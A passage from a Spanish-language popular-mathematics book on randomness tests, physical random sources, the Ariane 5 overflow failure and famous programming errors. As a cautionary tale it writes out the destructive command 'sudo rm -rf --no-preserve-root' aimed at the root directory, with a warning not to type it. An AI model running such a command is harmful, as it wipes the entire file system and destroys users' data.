dos	 reglas	 de	 oro.	Y	no	 existe	 una	batería	 de	 test	 definitiva	 que	habría	 que
utilizar;	 con	 los	 años,	 las	 personas	 han	 ideado	 toda	 clase	 de	 formas
interesantes	 de	 comprobar	 cómo	 son	 los	 datos	 aleatorios,	 y	 ningún	 test
funciona	por	sí	solo.

Mi	favorito	es	un	conjunto	de	pruebas	conocido	como	«batería	Diehard».
Por	desgracia,	 esto	no	 implica	 tirar	 los	números	desde	 el	Nakatomi	Plaza	o
hacerlos	 reptar	 por	un	 conducto	de	ventilación.	Pero,	 según	mi	 experiencia,
ayuda	 si	 durante	 el	 proceso	 gritas	 «¡Yippee	 ki-yay	 función	 numérica!».	 La
batería	 Diehard	 es,	 en	 realidad,	 una	 colección	 de	 doce	 pruebas
independientes.

Algunas	de	las	pruebas	son	bastante	aburridas,	como	comprobar	las	series
crecientes	y	decrecientes	de	dígitos.	Por	lo	tanto,	para	el	número	aleatorio	de
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base	 10,	 0,5772156649,	 hay	 una	 sucesión	 creciente	 5-7-7	 y	 luego	 otra
decreciente	7-7-2-1.	Estas	 series	 en	direcciones	diferentes	deberían	 tener	un
rango	esperado	de	longitudes.	También	está	la	prueba	de	la	corriente	de	datos,
que	convierte	los	números	en	binarios	y	se	fija	en	los	grupos	superpuestos	de
veinte	 dígitos,	 comprobando	 cuáles	 de	 los	 1.048.576	 posibles	 números
binarios	de	veinte	dígitos	están	en	cada	bloque	de	2.097.171	dígitos.	En	unos
datos	 binarios	 verdaderamente	 aleatorios	 deberían	 faltar	 unos	 141.909	 de
ellos	(con	una	desviación	estándar	de	428).

Y	luego	hay	algunas	pruebas	que	son	divertidas.	Utilizan	los	datos	en	una
situación	 extraña	 para	 ver	 si	 funcionan	 como	 se	 esperaba.	 La	 prueba	 del
aparcamiento	utiliza	la	secuencia	supuestamente	aleatoria	para	colocar	coches
redondos	en	un	aparcamiento	de	cien	por	cien	metros	cuadrados.	Después	de
intentar	 aparcar	 12.000	 coches	 al	 azar,	 deberían	 haberse	 producido	 3.523
choques	(con	una	desviación	estándar	de	21,9).	Otra	prueba	coloca	esferas	de
diferentes	 tamaños	 dentro	 de	 un	 cubo,	 y	 la	 prueba	 consiste	 simplemente	 en
hacer	que	los	datos	jueguen	doscientos	mil	juegos	de	dados	y	comprueben	si
los	juegos	ganadores	siguen	las	distribuciones	esperadas.

El	exotismo	y	la	rareza	de	estas	pruebas	forman	parte	de	su	atractivo.	Los
datos	aleatorios	deberían	ser	igual	de	aleatorios	en	todas	las	situaciones.	Si	las
pruebas	 de	 aleatoriedad	 fueran	 predecibles,	 entonces	 los	 algoritmos	 de
secuencias	 pseudoaleatorias	 se	 desarrollarían	 hasta	 ajustarse	 a	 esas	 pruebas.
Pero	 si	 se	 ha	 de	 comprobar	 una	 secuencia	 para	 ver	 qué	 puntuación	 media
obtiene	 después	 de	 doscientas	 mil	 rondas	 jugando	 al	 juego	 Shaq	 Fu	 de	 la
consola	Sega	Mega-drive,	entonces	más	vale	que	sea	realmente	aleatoria.

Existe	 una	 definición	 sobre	 aleatoriedad	 que	 sirve	 para	 todo	 pero	 que,
aunque	es	demasiado	esotérica	para	ser	útil,	me	encanta	por	su	simpleza.	Una
secuencia	 aleatoria	 es	 cualquier	 secuencia	 que	 es	 igual	 o	 más	 corta	 que
cualquier	descripción	de	ella.	La	longitud	de	la	descripción	de	una	secuencia
aleatoria	 recibe	 el	 nombre	 de	 complejidad	 Kolmogorov,	 en	 honor	 al
matemático	 ruso	 Andréi	 Kolmogórov,	 quien	 la	 planteó	 en	 1963.	 Si	 puedes
escribir	 un	 programa	 informático	 corto	 para	 generar	 una	 secuencia	 de
números,	entonces	esa	secuencia	no	puede	ser	aleatoria.	Si	la	única	forma	de
expresar	una	secuencia	es	 imprimirla	en	su	totalidad,	entonces	tenemos	algo
de	 aleatoriedad	 entre	 las	 manos.	 Y	 muchas	 veces,	 imprimir	 números
aleatorios	es	la	mejor	opción.

Pasemos	a	lo	físico
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Antes	 de	 la	 era	 de	 la	 informática,	 las	 listas	 de	 números	 aleatorios	 se	 tenían
que	generar	por	adelantado	e	imprimir	en	libros	que	la	gente	compraba.	Digo
«antes	de	la	era	de	la	informática»,	pero	cuando	estaba	en	el	colegio,	durante
la	 década	 de	 1990,	 todavía	 utilizábamos	 libros	 con	 tablas	 de	 números
aleatorios.	Las	calculadoras	portátiles	y,	de	hecho,	los	ordenadores	portátiles,
han	llegado	muy	lejos.	Pero,	si	hablamos	de	auténtica	aleatoriedad,	la	página
impresa	es	difícil	de	batir.

Todavía	se	pueden	comprar	libros	en	internet	de	números	aleatorios.	Si	no
lo	ha	hecho	antes,	debería	 leer	 las	reseñas	en	línea	de	los	 libros	de	números
aleatorios.	 Podemos	 intuir	 que	 la	 gente	 no	 tiene	mucho	 que	 decir	 sobre	 las
listas	 de	 dígitos	 aleatorios,	 pero	 este	 vacío	 posibilita	 que	 aparezca	 la
creatividad	de	la	gente:

¿Qué	 pasa	 si	 no	 tiene	 tiempo	 para	 comprar	 un	 libro	 y	 necesita
imperiosamente	un	número	aleatorio?	Bien,	va	a	necesitar	un	objeto	aleatorio.
No	hay	ninguna	acción	física	que	sea	superior	a	lanzar	una	moneda	o	tirar	un
dado	 para	 obtener	 auténticos	 números	 aleatorios,	 incluso	 en	 nuestra	 era
moderna	 y	 de	 tecnología	 punta.	 Esa	 es	 la	 razón	 por	 la	 que	 siempre	 llevo
conmigo	algunos	dados,	incluyendo	un	dado	de	sesenta	lados	por	si	necesito
generar	 una	 semilla	 aleatoria	 para	 una	 dirección	 de	 bitcoin	 (que	 utiliza
números	de	base	58).

En	 el	 despacho	de	Cloudflare	 en	San	Francisco,	 se	 utilizan	 lámparas	 de
lava	 como	generadores	 físicos	 de	 aleatoriedad.	Volvemos	 a	 la	 seguridad	 de
internet	 y	 a	 los	 SSL,	 pero	 en	 una	 escala	mucho	más	 grande	 que	Netscape:
Cloudflare	maneja	más	de	250	trillones	de	peticiones	de	encriptación	por	día.
Alrededor	del	10%	de	todo	el	tráfico	de	internet	depende	de	Cloudflare.	Esto
significa	 que	 necesitan	 un	 montón	 de	 números	 aleatorios	 con	 calidad
criptográfica.

Para	satisfacer	esta	demanda,	tienen	una	cámara	que	enfoca	cien	lámparas
de	lava	que	hay	en	su	vestíbulo.	Toma	una	foto	cada	milisegundo	y	convierte
el	 ruido	 aleatorio	 de	 la	 imagen	 en	una	 corriente	 de	 unos	 y	 ceros	 aleatorios.
Las	 coloridas	 burbujas	 en	 movimiento	 de	 las	 lámparas	 de	 lava	 también
contribuyen	 al	 ruido,	 pero	 son	 realmente	 las	 ínfimas	 fluctuaciones	 en	 los
valores	de	los	píxeles	las	que	constituyen	el	corazón	de	la	aleatoriedad.	En	su
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despacho	 de	 Londres	 se	 puede	 ver	 un	 péndulo	 caótico	 balanceándose	 y	 en
Singapur	utilizan	una	fuente	radiactiva	mucho	menos	interesante	visualmente.

Aunque	no	hay	nada	que	pueda	vencer	a	 la	eficacia	de	una	moneda.	Un
amigo	mío	ingeniero	estaba	trabajando	en	una	torre	delgada	que	iba	a	romper
el	 récord	de	altura	y	descubrió	que	 los	 ingenieros	no	son	 lo	suficientemente
aleatorios.	Uno	de	los	aspectos	a	tener	en	cuenta	con	las	torres	increíblemente
delgadas	es	que	el	viento	puede	hacerla	vibrar	como	una	cuerda	de	guitarra	y,
si	el	viento	se	corresponde	con	la	frecuencia	en	la	que	resuena	la	torre,	podría
hacerla	trizas.

A	diferencia	de	la	mayoría	de	las	chorradas	que	llenan	los	vestíbulos	de	las	empresas	de	tecnología,
estas	lámparas	de	lava	sirven	para	algo.

Para	 impedirlo,	 diseñaron	 parches	 amortiguadores	 de	 viento	 que	 se
adosarían	a	la	parte	exterior	de	la	torre	para	interceptar	el	flujo	de	aire.	Pero
era	 muy	 importante	 que	 los	 colocasen	 aleatoriamente.	 Si	 eran	 demasiado
uniformes	 no	 romperían	 la	 corriente	 de	 aire	 lo	 suficiente.	 ¿Cómo	 se
asegurarían	los	ingenieros	de	que	se	colocaran	de	forma	aleatoria?	Para	elegir
qué	secciones	tendrían	paneles	y	cuáles	no,	una	persona	del	despacho	lanzaría
una	moneda.
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Trece

NO	COMPUTA
En	 1996,	 un	 grupo	 de	 científicos	 e	 ingenieros	 estaba	 a	 punto	 de	 lanzar	 un
grupo	de	cuatro	satélites	con	los	que	investigar	la	magnetosfera	de	la	Tierra.
Se	 pasaron	 una	 década	 planeando,	 diseñando,	 probando	 y	 finalmente
construyendo.	Fue	lento	porque,	una	vez	que	una	nave	espacial	se	halla	en	el
espacio,	 es	 muy	 difícil	 realizar	 cualquier	 reparación.	 No	 quieres	 cometer
ningún	error.	Todo	se	ha	de	comprobar	por	triplicado.

En	 la	 conocida	 ahora	 como	 misión	 Cluster,	 los	 satélites	 finalizados	 se
cargaron	 a	 bordo	 del	 cohete	 de	 la	Agencia	 Espacial	 Europea	 (ESA	 por	 sus
siglas	en	 inglés)	Ariane	5	en	 junio	de	1996,	preparados	para	 ser	 lanzados	y
puestos	en	órbita	desde	el	Centro	Espacial	Guayanés	en	Sudamérica.

Nunca	sabremos	si	esos	satélites	habrían	funcionado	como	se	esperaba,	ya
que	 a	 los	 cuarenta	 segundos	 del	 despegue	 el	 Ariane	 activó	 su	 sistema	 de
autodestrucción	 y	 explotó	 en	 el	 cielo.	 Partes	 del	 cohete	 y	 de	 la	 carga	 de	 la
nave	espacial	cayeron	en	una	zona	de	12	kilómetros	cuadrados	de	manglares
y	sabana	de	la	Guayana	Francesa.

Uno	de	los	investigadores	principales	de	la	misión	Cluster	todavía	trabaja
en	 el	 Laboratorio	 de	 Ciencia	 Espacial	 Mullard	 (dentro	 de	 la	 University
College	de	Londres,	UCL	por	sus	siglas	en	inglés),	donde	trabaja	actualmente
mi	 esposa.	 Después	 del	 desastre	 se	 recuperaron	 partes	 de	 la	 nave	 y	 se
enviaron	 de	 vuelta	 a	 la	 UCL,	 donde	 los	 investigadores	 abrieron	 el	 paquete
enviado	para	ver	años	de	trabajo	convertidos	en	amasijos	de	metal	con	trozos
del	manglar	todavía	pegado	a	ellos.
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Metal	retorcido	y	dispositivos	electrónicos	que	representan	una	década	de	duro	trabajo.

Actualmente	 están	 expuestos	 en	 la	 sala	 común	 de	 los	 empleados	 como
recordatorio	para	la	siguiente	generación	de	científicos	espaciales	de	que	sus
carreras	 se	 basan	 en	 ideas	 que	 pueden	 desaparecer	 nada	 más	 lanzarse	 al
espacio.

Por	suerte,	la	Agencia	Espacial	Europea	decidió	rehacer	la	misión	Cluster
e	intentarlo	de	nuevo.	Los	satélites	del	Cluster	II	fueron	puestos	exitosamente
en	órbita	el	año	2000	gracias	a	un	cohete	ruso.	Diseñados	originalmente	para
durar	 dos	 años	 en	 el	 espacio,	 llevan	 ya	 casi	 dos	 décadas	 funcionando	 con
éxito.

Así	pues,	¿qué	fue	lo	que	falló	en	el	cohete	Ariane	5?	En	pocas	palabras,
el	ordenador	de	a	bordo	intentó	copiar	un	número	de	64	bits	en	un	espacio	de
16	 bits.	 Los	 informes	 en	 línea	 culpan	muy	 rápidamente	 a	 las	matemáticas,
pero	el	código	informático	debió	de	haberse	escrito	de	tal	forma	que	provocó
lo	 que	 ocurrió.	 La	 programación	 no	 es	 más	 que	 pensamiento	 y	 procesos
matemáticos	formalizados.	Quería	saber	cuál	fue	ese	número,	porque	se	tenía
que	copiar	en	una	 localización	de	 la	memoria	que	era	demasiado	pequeña	y
porque	eso	hizo	caer	todo	un	cohete…,	así	que	me	descargué	y	leí	el	informe
de	la	investigación	emitido	por	la	junta	de	investigación	de	la	ESA.

El	programador	original	(o	equipo	de	programadores)	de	este	código	hizo
un	trabajo	brillante.	Crearon	un	Sistema	de	Referencia	Inercial	 (SRI	por	sus
siglas	en	inglés)	para	que	el	cohete	siempre	supiese	exactamente	dónde	estaba
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y	 qué	 estaba	 haciendo.	 Un	 SRI	 es,	 básicamente,	 un	 intérprete	 entre	 los
sensores	que	hacen	un	seguimiento	del	cohete	y	el	ordenador	que	lo	maneja.
El	SRI	se	puede	vincular	a	varios	 sensores	colocados	en	diversas	partes	del
cohete,	 tomar	 los	 datos	 sin	 procesar	 procedentes	 de	 esos	 giroscopios	 y
acelerómetros	 y	 convertirlos	 en	 información	 importante.	 El	 SRI	 también
estaba	vinculado	al	ordenador	principal	de	a	bordo	y	 le	 transmitía	 todos	 los
detalles	de	la	trayectoria	que	seguía	el	cohete	y	lo	rápido	que	iba.

Durante	 este	 trabajo	de	«traducción»,	 el	SRI	convertiría	 todas	 las	 clases
de	 datos	 entre	 formatos	 diferentes,	 que	 es	 el	 hábitat	 natural	 de	 los	 errores
matemáticos	 informatizados.	Los	programadores	 identificaron	siete	casos	en
los	que	un	valor	de	coma	flotante	provenía	de	un	sensor	y	se	convertía	en	un
entero.	Esta	es	exactamente	 la	clase	de	situación	en	 la	que	un	número	 largo
puede	transmitirse	accidentalmente	en	un	espacio	demasiado	pequeño,	lo	que
hace	que	el	programa	se	detenga	por	completo	por	un	error	de	operando.

Para	 evitar	 esto,	 se	 añadió	 un	 bit	 de	 código	 extra	 que	 lee	 los	 valores
entrantes	y	pregunta:	«¿va	a	causar	esto	un	error	de	operando	si	 intentamos
convertirlo?».	 El	 uso	 generalizado	 de	 este	 proceso	 podría	 salvaguardar	 en
buena	medida	contra	errores	de	conversión.	Pero	hacer	que	el	programa	pase
una	comprobación	extra	cada	vez	que	se	ha	de	hacer	una	conversión	supone
un	uso	intensivo	del	procesador,	y	al	equipo	le	habían	puesto	límites	estrictos
sobre	cuánta	potencia	del	procesador	podía	utilizar	su	código.

No	 importa,	 pensaron:	 daremos	 un	 paso	 atrás	 y	miraremos	 los	 sensores
que	están	enviando	al	SRI	los	datos	y	veremos	qué	rango	de	valores	pueden
producir.	Para	tres	de	los	siete	inconvenientes	se	descubrió	que	la	entrada	no
podía	 ser	 nunca	 lo	 suficientemente	 grande	 como	 para	 causar	 un	 error	 de
operando,	 por	 lo	 que	 no	 se	 añadió	 ninguna	 protección.	 Puede	 que	 las	 otras
cuatro	variables	sí	que	fueran	demasiado	grandes,	por	lo	que	siempre	pasaban
por	la	comprobación	de	seguridad.

Todo	 eso	 funcionó	de	maravilla…	para	 el	 cohete	Ariane	4,	 el	 precursor
del	Ariane	5.	Después	de	años	prestando	un	leal	servicio,	se	extrajo	el	SRI	del
Ariane	4	y	se	utilizó	en	el	Ariane	5	sin	realizar	una	comprobación	apropiada
del	 código.	 El	 Ariane	 5	 fue	 diseñado	 con	 una	 trayectoria	 de	 despegue
diferente	a	la	del	Ariane	4,	lo	que	implicaba	que	las	velocidades	horizontales
eran	 superiores	 al	 inicio	 del	 lanzamiento.	 La	 trayectoria	 del	 Ariane	 4
implicaba	que	esta	velocidad	horizontal	nunca	sería	lo	suficientemente	grande
como	 para	 causar	 ningún	 problema,	 por	 lo	 que	 no	 fue	 revisado.	 Pero	 en	 el
Ariane	5	se	excedía	rápidamente	el	espacio	disponible	para	el	valor	dentro	del
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SRI	y	el	sistema	produjo	un	error	de	operando.	Pero	eso	no	era	suficiente	por
sí	solo	para	hacer	caer	el	cohete.

El	SRI	 se	 había	 programado	para	 realizar	 algunas	 labores	 en	 el	 caso	 de
que	 todo	saliera	mal	en	el	vuelo	de	un	cohete	y	 las	cosas	 fueran	a	 terminar
claramente	 en	 desastre.	 Y	 mucho	 más	 importante,	 volcaba	 todos	 los	 datos
sobre	lo	que	estaba	haciendo	en	un	lugar	diferente.	Esto	sería	fundamental	en
cualquier	 investigación	 posterior	 a	 un	 desastre,	 por	 lo	 que	 valía	 la	 pena
asegurarse	 de	 que	 estaban	 a	 salvo.	 Es	 como	 alguien	 que	 utiliza	 su	 último
aliento	 para	 gritar:	 «¡Decidle	 a	mi	mujer	 que	 la	 quiero!»,	 solo	 que	 sería	 un
procesador	 gritando:	 «¡Contadle	 a	 mi	 depurador	 los	 siguientes	 datos
relacionados	con	el	fallo!».

En	 el	 sistema	 del	 Ariane	 4,	 los	 datos	 se	 mandarían	 del	 SRI	 a	 algún
almacén	externo.	Desafortunadamente,	en	la	configuración	nueva	del	Ariane
5,	 este	 «informe	 del	 accidente»	 se	 envió	 a	 través	 de	 la	 conexión	 principal
desde	 el	 SRI	 al	 ordenador	 de	 a	 bordo.	 El	 nuevo	 ordenador	 de	 a	 bordo	 del
Ariane	 5	 nunca	 había	 sido	 advertido	 de	 que	 podría	 recibir	 un	 informe	 de
diagnóstico	si	el	SRI	se	encontraba	con	esa	situación,	por	lo	que	supuso	que
se	 trataba	 de	 más	 información	 del	 vuelo	 e	 intentó	 leer	 los	 datos	 como	 si
fueran	ángulos	y	velocidades.	Es	una	situación	bastante	parecida	a	la	del	Pac-
Man	 cuando	 sufría	 un	 error	 de	 desbordamiento	 e	 intentaba	 interpretar	 los
datos	 del	 juego	 como	 si	 fueran	 datos	 de	 las	 frutas.	 Excepto	 que	 ahora	 hay
explosivos	implicados.

Habiendo	 asumido	 que	 el	 informe	 del	 error	 fue	 la	 información	 de
navegación,	 la	mejor	 interpretación	 a	 la	 que	 podía	 llegar	 el	 ordenador	 de	 a
bordo	 era	 que	 el	 cohete	 viró	 repentina	 y	 bruscamente	 hacia	 un	 lado.	Por	 lo
que	hizo	 lo	que	sería	 lo	más	 lógico	en	una	situación	como	esa,	y	ejecutó	el
equivalente	 de	 un	 cohete	 de	 girar	 bruscamente	 en	 la	 dirección	 opuesta.	 El
vínculo	 entre	 el	 ordenador	 de	 a	 bordo	 y	 los	 pistones	 que	 dirigían	 los
propulsores	 funcionaba	 bien,	 por	 lo	 que	 se	 siguió	 esta	 orden,	 haciendo,
irónicamente,	que	el	cohete	se	desviara	abruptamente	hacia	un	lado.

Eso	 fue	 suficiente	 para	 condenar	 al	 cohete	 Ariane	 5.	 Habría	 caído	más
pronto	 que	 tarde.	 Pero,	 al	 final,	 la	 maniobra	 a	 alta	 velocidad	 separó
parcialmente	 los	cohetes	propulsores	del	cuerpo	principal	del	cohete,	 lo	que
se	considera,	por	 lo	general,	 algo	bastante	malo.	Y	el	ordenador	de	a	bordo
decidió	 correctamente	 dejarlo	 por	 hoy	 y	 poner	 en	 marcha	 el	 sistema	 de
autodestrucción,	 con	 lo	 que	 llovieron	 fragmentos	 de	 los	 cuatro	 satélites
Cluster	por	todo	el	manglar	de	allá	abajo.

Página	253



El	último	agujero	del	queso	es	que	el	sensor	de	la	velocidad	horizontal	ni
siquiera	 fue	 necesario	 durante	 el	 lanzamiento.	 Se	 utilizó	 para	 calibrar	 la
posición	 del	 cohete	 antes	 del	 lanzamiento	 y	 no	 se	 recurrió	 a	 él	 durante	 el
despegue.	 Excepto	 cuando	 los	 lanzamientos	 del	 Ariane	 4	 fueron	 abortados
antes	del	despegue,	era	una	auténtica	pesadez	resetear	 todo,	una	vez	que	los
sensores	 se	 habían	 apagado.	 Por	 lo	 que	 se	 decidió	 esperar	 unos	 cincuenta
segundos	 en	 el	 vuelo	 antes	 de	 apagarlos	 para	 asegurarse	 de	 que	 había
despegado	 definitivamente.	Esto	 ya	 no	 era	 necesario	 para	 el	Ariane	 5,	 pero
seguía	estando	ahí,	como	código	vestigial.

Por	lo	general,	reutilizar	código	sin	volverlo	a	comprobar	puede	provocar
toda	clase	de	problemas.	¿Recuerdan	la	máquina	Therac-25	para	la	terapia	de
radiación,	 que	 tenía	 un	 problema	 de	 desbordamiento	 y	 que	 accidentalmente
suministró	 una	 sobredosis	 a	 algunas	 personas?	 Durante	 el	 transcurso	 de	 la
investigación	 posterior,	 se	 descubrió	 que	 su	 predecesor,	 el	 Therac-20,
contenía	los	mismos	elementos	en	su	software,	pero	que	tenía	unos	bloqueos
de	seguridad	físicos	para	evitar	las	sobredosis,	por	lo	que	nadie	se	percató	del
error	 de	 programación.	 El	 Therac-25	 reutilizó	 código,	 pero	 no	 realizó	 esas
comprobaciones	físicas,	por	lo	que	el	error	de	desbordamiento	pudo	aparecer
y	causar	un	desastre.

Si	 se	 puede	 extraer	 alguna	 enseñanza	 moral	 de	 esta	 historia	 sería	 que,
cuando	escribes	un	código,	has	de	recordar	que	es	posible	que	alguien	tenga
que	 analizarlo	 y	 comprobarlo	 en	 el	 futuro	 cuando	 se	 plantee	 readaptarlo.
Incluso	podría	ser	usted,	mucho	después	de	haber	olvidado	cuál	era	la	lógica
original	subyacente	al	código.	Por	esta	razón,	los	programadores	pueden	dejar
«comentarios»	 en	 sus	 códigos,	 que	 son	 pequeños	 mensajes	 dejados	 para
cualquiera	que	 tenga	que	 leer	su	código.	El	mantra	del	programador	debería
ser	«deja	siempre	comentarios	en	tu	código».	Y	que	estos	sean	de	ayuda.	He
revisado	códigos	densos	que	había	escrito	hacía	años,	y	solo	he	encontrado	un
comentario:	«Buena	suerte,	futuro	Matt».

Invasores	del	espacio

Programar	 es	 una	 gran	 combinación	 de	 complejidad	 y	 certeza	 absoluta.
Cualquier	 línea	 de	 código	 no	 puede	 ser	 ambigua:	 un	 ordenador	 hará
exactamente	lo	que	diga	el	código.	Pero	saber	con	certeza	cuál	es	el	resultado
final	de	un	montón	de	código	que	interactúa	es	bastante	difícil,	y	esto	puede
hacer	que	depurar	código	sea	una	experiencia	emocional.

En	 la	 base	 estarían	 los	 que	 defino	 como	 errores	 de	 programación	 del
«nivel	 cero».	 Es	 donde	 la	 propia	 línea	 de	 código	 es	 un	 error.	 Algo	 que
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aparentemente	no	tiene	consecuencia	alguna	como	es	olvidarse	de	un	punto	y
coma	 puede	 hacer	 que	 todo	 el	 programa	 se	 detenga.	 Los	 lenguajes	 utilizan
cosas	 como	 puntos	 y	 comas,	 paréntesis	 y	 saltos	 de	 línea	 para	 indicar	 los
inicios	 y	 finales	 de	 sentencias	 y	 para	 enloquecerte	 si	 te	 has	 dejado	 alguno.
Muchos	 programadores	 se	 pasan	 horas	 gritando	 a	 sus	 pantallas	 porque	 su
código	no	funciona,	solo	para	descubrir	más	tarde	que	lo	que	le	faltaba	era	un
detalle	invisible.

Estos	errores	son	el	equivalente	de	las	erratas	en	programación.	En	2006,
un	grupo	de	biólogos	moleculares	 tuvo	que	 retractarse	de	cinco	artículos	de
investigación,	 incluyendo	 alguno	 publicado	 en	 Science	 y	 uno	 en	 Nature,
debido	 a	 un	 error	 en	 su	 código.	 Habían	 escrito	 su	 propio	 programa	 para
analizar	 los	datos	 sobre	 la	 estructura	de	moléculas	biológicas.	Sin	embargo,
estaba	cambiando	accidentalmente	algunos	valores	positivos	en	negativos,	y
viceversa,	lo	que	significaba	que	parte	de	la	estructura	que	publicaron	era	la
imagen	especular	de	la	disposición	correcta:

Este	 programa,	 que	 no	 formaba	 parte	 de	 un	 paquete	 de	 procesamiento	 de	 datos
convencional,	convertía	los	pares	anómalos	(I+	e	I-)	a	(F-	y	F+),	introduciendo	de	esa	manera
un	cambio	de	signo.

Retractación	de	«Estructura	de	la	MsbA	de	E.	coli»

Una	errata	en	una	única	línea	puede	causar	un	enorme	daño.	En	2014,	un
programador	 estaba	 realizando	 tareas	 de	 mantenimiento	 en	 su	 servidor	 y
quería	 borrar	 un	 antiguo	 directorio	 de	 copias	 de	 seguridad	 que	 tenía	 un
nombre	 parecido	 a:	 /docs/	 mybackup/,	 pero	 tecleó	 accidentalmente
/docs/mybackup	/	con	un	espacio	extra.	Lo	del	párrafo	siguiente	es	el	aspecto
que	 debió	 de	 tener	 toda	 la	 línea	 que	 teclearon	 en	 su	 ordenador.	 No	 puedo
darle	 el	 énfasis	 que	 merece	 a	 lo	 siguiente:	 no	 teclee	 nada	 ni	 remotamente
parecido	a	esto	en	su	ordenador,	ya	que	podría	borrar	todo	aquello	que	le	es
querido:

sudo	rm	-rf	--no-preserve-root	/docs/mybackup	/
sudo	=	 (del	 inglés	 super	users	do)	=	 le	dice	 al	 ordenador	que	 soy	un	 superusuario	y	que

debería	hacer	todo	lo	que	le	pida	sin	cuestionarlo
rm	=	(del	inglés	remove)	significa	«borrar»
-rf	=	 (del	 inglés	 recursive,	 force)	 fuerza	a	que	el	comando	se	ejecute	 recursivamente	a	 lo

largo	de	todo	un	directorio
--no-preserve-root	=	nada	es	sagrado

Así	pues,	ahora	en	lugar	de	borrar	un	directorio	llamado	/docs/mybackup
/,	iba	a	borrar	dos:	ese	y	/.	Lo	divertido	de	/	es	que	representa	al	directorio	raíz
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del	sistema	informático;	el	directorio	principal	que	contiene	todas	 las	demás
carpetas:	/	es,	básicamente,	todo	el	ordenador.	Hay	varias	historias	de	rm	-rf
en	internet	sobre	personas	que	han	borrado	todo	el	contenido	de	su	ordenador
o,	 en	 algunos	 casos,	 el	 contenido	 de	 todos	 los	 ordenadores	 de	 la	 empresa.
Todo	por	una	simple	errata.

También	 considero	 como	 errores	 de	 nivel	 cero	 algunos	 que	 no	 son
realmente	erratas,	sino	que	más	bien	son	producto	de	una	mala	traducción.	Un
programador	 tiene	en	su	cabeza	los	pasos	que	quiere	que	siga	su	ordenador,
pero	 necesita	 «traducirlos»	 en	 lenguaje	 de	 programación	 que	 el	 ordenador
pueda	 comprender.	 Los	 errores	 en	 esa	 traducción	 pueden	 dar	 lugar	 a	 una
sentencia	 incomprensible.	 Como	 ocurre	 en	 Inglaterra	 con	 un	 plato	 de	 la
cocina	de	Sichuan	que	a	veces	aparece	traducido	como	«saliva	chicken	(pollo
saliva)».	 Nadie	 va	 a	 pedir	 eso.	 El	 significado	 original	 de	 «mouth-watering
chicken»	(pollo	que	te	hace	salivar)	se	ha	perdido.

El	concepto	de	«igual	a»	se	puede	traducir	en	lenguaje	informático	como
=	o	como	==.	En	muchos	lenguajes	informáticos,	=	es	un	comando	que	hace
que	 lo	 que	 aparece	 a	 ambos	 lados	 sea	 equivalente,	mientras	 que	 con	==	 se
cuestiona	 si	 las	 cosas	 de	 ambos	 lados	 son	 iguales.	Algo	 como	 cat_name	=
Angus	llamará	a	su	gato	Angus,	pero	cat_name	==	Angus	devolverá	un	True
(Verdadero)	o	False	(Falso),	dependiendo	del	nombre	que	ya	se	le	había	dado
al	gato	con	anterioridad.	Utilice	el	que	no	toca	y	el	código	fallará.

Algunos	 lenguajes	 informáticos	 intentan	 hacernos	 la	 vida	 lo	 más	 fácil
posible	esforzándose	para	comprender	qué	estamos	intentando	decirle.	Razón
por	 la	 cual,	 como	 programador	 aficionado,	 utilizo	 Python:	 el	 lenguaje	más
amable	de	 todos.	Después	de	ese	están	 los	 lenguajes	que	no	hacen	una	sola
concesión	 si	 el	 programador	 comete	 algún	 error,	 pero	 al	 menos	 no	 son
maliciosos.	 En	 este	 grupo	 entrarían	 la	 inmensa	mayoría	 de	 lenguajes:	C++,
Java,	Ruby,	PHP,	etc.

Y,	por	supuesto,	 luego	están	 los	 lenguajes	que	odian	el	concepto	mismo
de	lo	que	es	un	humano.	Nacieron	porque	los	programadores	piensan	que	son
graciosísimos	y	que	crear	deliberadamente	lenguajes	informáticos	difíciles	de
manejar	es	casi	un	deporte.	El	más	 típico	es	un	 lenguaje	 llamado	brainf_ck,
que	he	censurado	ligeramente	para	este	libro.	Creo	que	su	respetuoso	nombre
oficial	 de	 «BF»	 no	 le	 hace	 justicia.	 En	 brainf_ck	 solo	 hay	 ocho	 símbolos
posibles:	 >	<	+	 –	 [	 ]	 ,	 and.	Lo	 que	 implica	 que	 incluso	 los	 programas	más
sencillos	se	parecen	a	esto:

++++[>+++++<-]>-[>++++++>+++++>++<<<-
]>-----.>++.<+++++++..+++.>.<----.>>+.<++++.<-.>.
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Aunque	se	dice	con	frecuencia	que	brainf_ck	es	lenguaje	de	broma,	creo
que	realmente	vale	la	pena	aprenderlo,	porque	tiene	que	ver	de	manera	directa
con	la	forma	en	la	que	un	lenguaje	de	programación	almacena	y	manipula	los
datos.	 Es	 como	 interactuar	 directamente	 con	 el	 disco	 duro.	 Imagínese	 un
programa	informático	que	se	fije	en	un	único	byte	en	la	memoria	cada	vez:	<
y	>	trasladan	el	foco	hacia	la	izquierda	y	hacia	la	derecha;	+	y	–	incrementan
o	disminuyen	 el	 valor	 actual;	 [	 y	 ]	 se	 utilizan	para	 ejecutar	 bucles	mientras
que	 .	 y,	 son	 los	 comandos	 de	 lectura	 y	 escritura.	 Y	 todo	 es	 lo	 que	 hace
cualquier	otro	programa	informático;	solo	que	está	escondido	bajo	otras	capas
de	traducción.

Si	 está	 buscando	 un	 lenguaje	 que	 sea	 confuso	 por	 puro	 gusto,	 entonces
Whitespace	es	lo	que	necesita.	Ignora	cualquier	carácter	visible	del	código	y
procesa	solo	los	invisibles.	Por	lo	que	para	programar	en	Whitespace	solo	se
pueden	utilizar	combinaciones	de	espacios,	tabulaciones	e	intros[31].	Y	eso	es
antes	 de	 pasarnos	 a	 lenguajes	 de	 programación	 en	 los	 que	 solo	 se	 permite
utilizar	 la	 palabra	 «chicken»;	 el	 código	 necesita	 ser	 formateado	 como	 si
estuvieras	pidiendo	en	un	restaurante	a	través	de	la	ventanilla	del	coche	o	todo
se	 escribe	 como	 en	 una	 partitura	 musical.	 Creo	 que,	 gracias	 al	 sesgo	 de
supervivencia,	 los	 programadores	 tienden	 a	 ser	 una	 pandilla	 de	 sádicos	 que
disfrutan	de	la	frustración	que	causa	su	obra.

Dejando	 de	 lado	 erratas	 y	 lenguajes	 que	 deliberadamente	 van	 a	 por	 ti,
existen	 toda	una	 clase	de	 errores	de	programación	que	 considero	 errores	de
código	 «clásicos».	 Son	más	 fáciles	 de	 localizar	 en	 programas	 antiguos,	 que
eran	deliberadamente	supereficientes	para	poder	ejecutarse	en	hardware	con
potencia	 limitada.	 Esto	 hacía	 que	 los	 programadores	 fueran	 algo	 más
creativos,	y	eso	condujo	a	algunos	efectos	colaterales	inesperados.

Los	 programadores	 del	 juego	 arcade	 Space	 Invaders	 estaban	 tan
